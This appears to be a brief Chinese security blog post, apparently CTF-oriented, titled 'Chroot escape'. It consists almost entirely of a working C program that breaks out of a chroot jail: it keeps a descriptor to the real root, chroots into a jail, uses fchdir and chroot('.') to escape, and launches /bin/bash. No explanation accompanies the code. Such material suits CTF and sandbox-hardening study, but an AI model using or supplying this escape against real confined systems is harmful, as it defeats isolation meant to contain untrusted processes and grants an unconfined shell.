avatar

研究-Chroot逃逸

Chroot逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
int main(){
int fd = open("/.",0);
if(fd < 0){
puts("Open Fail!");
exit(0);
}
chroot("/home/ctf/chroot_jailbreak");
chdir("/");

fchdir(fd);
chroot(".");
system("/bin/bash");
return 0;
}
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2020/08/20/%E7%A0%94%E7%A9%B6-Chroot%E9%80%83%E9%80%B8/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论